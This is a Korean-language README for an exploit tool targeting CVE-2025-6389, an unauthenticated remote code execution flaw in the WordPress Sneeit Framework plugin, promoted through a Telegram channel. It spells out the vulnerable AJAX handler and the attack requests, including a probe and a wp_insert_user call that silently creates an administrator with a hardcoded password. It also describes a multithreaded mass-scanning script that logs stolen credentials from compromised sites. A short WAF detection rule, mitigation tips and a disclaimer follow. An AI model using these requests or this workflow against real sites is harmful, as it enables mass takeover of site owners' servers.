
Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback에서의 인증되지 않은 원격 코드 실행
Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback에서의 인증되지 않은 원격 코드 실행
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 다음 공개를 놓치지 마세요. Telegram에서 @KNxploited 를 팔로우하세요 — 새로 공개된 CVE, 동작하는 익스플로잇, 정예 보안 연구를 위한 최고의 채널입니다. 가장 먼저 알게 됩니다. 가장 먼저 행동하게 됩니다.
CVE-2025-6389는 WordPress용 Sneeit Framework 플러그인에서 발견된 CVSS 9.8 Critical 등급의 원격 코드 실행 취약점입니다.
이 결함은 sneeit_articles_pagination_callback() 함수에 존재하며, 이 함수는 사용자가 제공한 입력값을 PHP의 call_user_func()에 무비판적으로 전달합니다. 즉, 인증되지 않은 공격자가 wp_insert_user를 포함한 임의의 PHP 함수를 임의의 인자로 호출할 수 있으며, 이를 통해 사실상 완전한 관리자 액세스 권한을 획득하거나 서버 측 코드를 실행할 수 있습니다.
근본 원인은 플러그인의 AJAX 핸들러에서 PHP의 call_user_func()를 잘못 사용한 데 있습니다:
// 인증 확인 없이 등록됨
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← 사용자가 제어하는 함수 이름
$args = json_decode(stripslashes($_POST['args']), true); // ← 사용자가 제어하는 인자
// 검증 없이 임의의 PHP 함수를 임의의 인자로 호출
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
이것이 치명적인 이유:
wp_ajax_nopriv_* = 로그인 없이 누구나 접근 가능call_user_func($callback, $args) = 임의 함수 호출var_dump, system, wp_insert_user, eval 또는 모든 PHP/WordPress 함수를 호출할 수 있음Step 1 — 프로브 / 핑거프린팅
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
예상 응답 → array(1) { [0]=> string(4) "test" }
↓
확인됨: call_user_func()에 도달 가능하며 출력이 반영됨
──────────────────────────────────────────────────────────────────
Step 2 — 관리자 계정 생성
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
결과 → 대상에 새 관리자 계정이 조용히 생성됨
↓
전체 WordPress 관리자 패널 액세스 권한 획득 ✔️
pip install requests rich
| 종속성 | 용도 |
|---|---|
requests | 세션/프록시 지원이 포함된 HTTP 요청 |
rich | 실시간 터미널 대시보드, 패널, 진행 표시 |
threading | 다중 대상 동시 처리 |
Python 3.8+ 필요. 타입 힌트는 3.9+에서 도입된
tuple[...]구문을 사용하므로 최상의 호환성을 위해 3.9+ 사용을 권장합니다.
CVE-2025-6389/
├── CVE-2025-6389.py # 메인 익스플로잇 스크립트
├── list.txt # 대상 URL — 줄당 하나씩
├── success_results.txt # 자동 생성: 성공한 대상 + 자격 증명
└── debug_responses/ # 자동 생성: 디버깅용 원시 서버 응답
└── <target>.resp.txt
줄당 하나의 URL로 list.txt를 생성하세요:
https://target1.com
https://target2.com
http://target3.com
http://또는https://가 없는 URL에는 자동으로http://가 접두사로 추가됩니다.
python CVE-2025-6389.py
다음과 같은 프롬프트가 표시됩니다:
Targets file name (default list.txt): list.txt
Number of threads (default 10): 20
이 스크립트는 실시간 Rich 대시보드를 실행하여 다음을 표시합니다:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Stats │
│ Usage: Put targets in... │ Total Targets: 150 │
│ Threads: 20 │ Processed: 87 │
│ Password: xplpass │ Successes: 12 │
│ Success Log: success... │ Failures: 75 │
│ Debug Dir: debug_responses │ Elapsed: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Recent Results │
│ Time Target Result │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
성공한 익스플로잇은 success_results.txt에 저장됩니다:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
디버그 응답(실패한 대상의 경우)은 debug_responses/ 아래에 저장됩니다:
debug_responses/
└── https___victim.com.resp.txt ← 분석용 원시 서버 응답
이 익스플로잇은 다음과 같은 네트워크 시그니처를 생성합니다 — 방어자와 WAF 규칙 작성자에게 유용합니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
WAF / IDS 규칙 (의사코드):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
사이트 소유자, 개발자 또는 방어자라면 다음 단계를 즉시 수행하세요:
call_user_func()에 사용자 입력을 절대 전달하지 말 것admin-ajax.php에 대한 인증되지 않은 POST 요청 차단sneeit_articles_pagination AJAX 액션 호출 모니터링이 도구는 교육, 승인된 침투 테스트 및 보안 연구 목적으로만 엄격히 제공됩니다.
이 스크립트를 다운로드, 실행 또는 수정함으로써 다음 사항에 명시적으로 동의하게 됩니다:
• 테스트하는 모든 시스템 소유자로부터 명시적이고 서면화된 승인을
받았습니다. 예외는 없습니다.
• 통제된 실험실 환경 또는 공식적으로 범위가 지정되고 승인된
계약 내에서 운영하고 있습니다.
• 테스트할 법적 허가가 없는 시스템, 네트워크 또는 인프라에 대해
이 도구를 배포하지 않을 것입니다.
• Nxploited와 모든 기여자는 이 도구 사용으로 인해 발생하는 무단
사용, 손해, 데이터 손실, 법적 조치 또는 형사 기소에 대해
어떠한 책임도 지지 않습니다.
이 익스플로잇의 무단 사용은 다음 법률에 따라 범죄 행위입니다:
— 미국 컴퓨터 사기 및 남용법 (CFAA)
— 영국 컴퓨터 오용법 (CMA)
— 정보 시스템 공격에 관한 EU 지침 2013/40/EU
— 그리고 이에 상응하는 모든 국가 및 국제 사이버 범죄 법률
책임 있게 사용하세요. 윤리적으로 해킹하세요. 책임 있게 공개하세요.
| 핸들 | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram에서 @KNxploited를 팔로우하세요 실제 익스플로잇이 가장 먼저 공개되는 채널 — CVE, 제로데이, PoC, 그리고 심층 취약점 연구까지. 정기적으로 업데이트됩니다. 계속 경계를 유지하세요.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-6389 |
| 플러그인 | Sneeit Framework (sneeit-framework) |
| 영향을 받는 버전 | 8.3 이하의 모든 버전 |
| 취약점 유형 | 원격 코드 실행 (RCE) |
| 공격 경로 | 네트워크 — 인증 불필요 |
| CVSS 3.1 점수 | 9.8 CRITICAL |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향 | 전체 서버 장악 / 관리자 계정 탈취 |
| 연구자 | Nxploited |
queue | 스레드 안전 대상 분배 |
| 프롬프트 | 기본값 | 설명 |
|---|
| 대상 파일 | list.txt | 대상 URL이 포함된 파일 |
| 스레드 수 | 10 (최대: 200) | 동시 작업자 — 대량 스캔 시 증가 |
| 비밀번호 | xplpass (하드코딩) | 생성된 관리자 계정에 설정되는 비밀번호 |
| 사용자 이름 형식 | Nxploited_XXXX | 4자리 랜덤 접미사로 자동 생성 |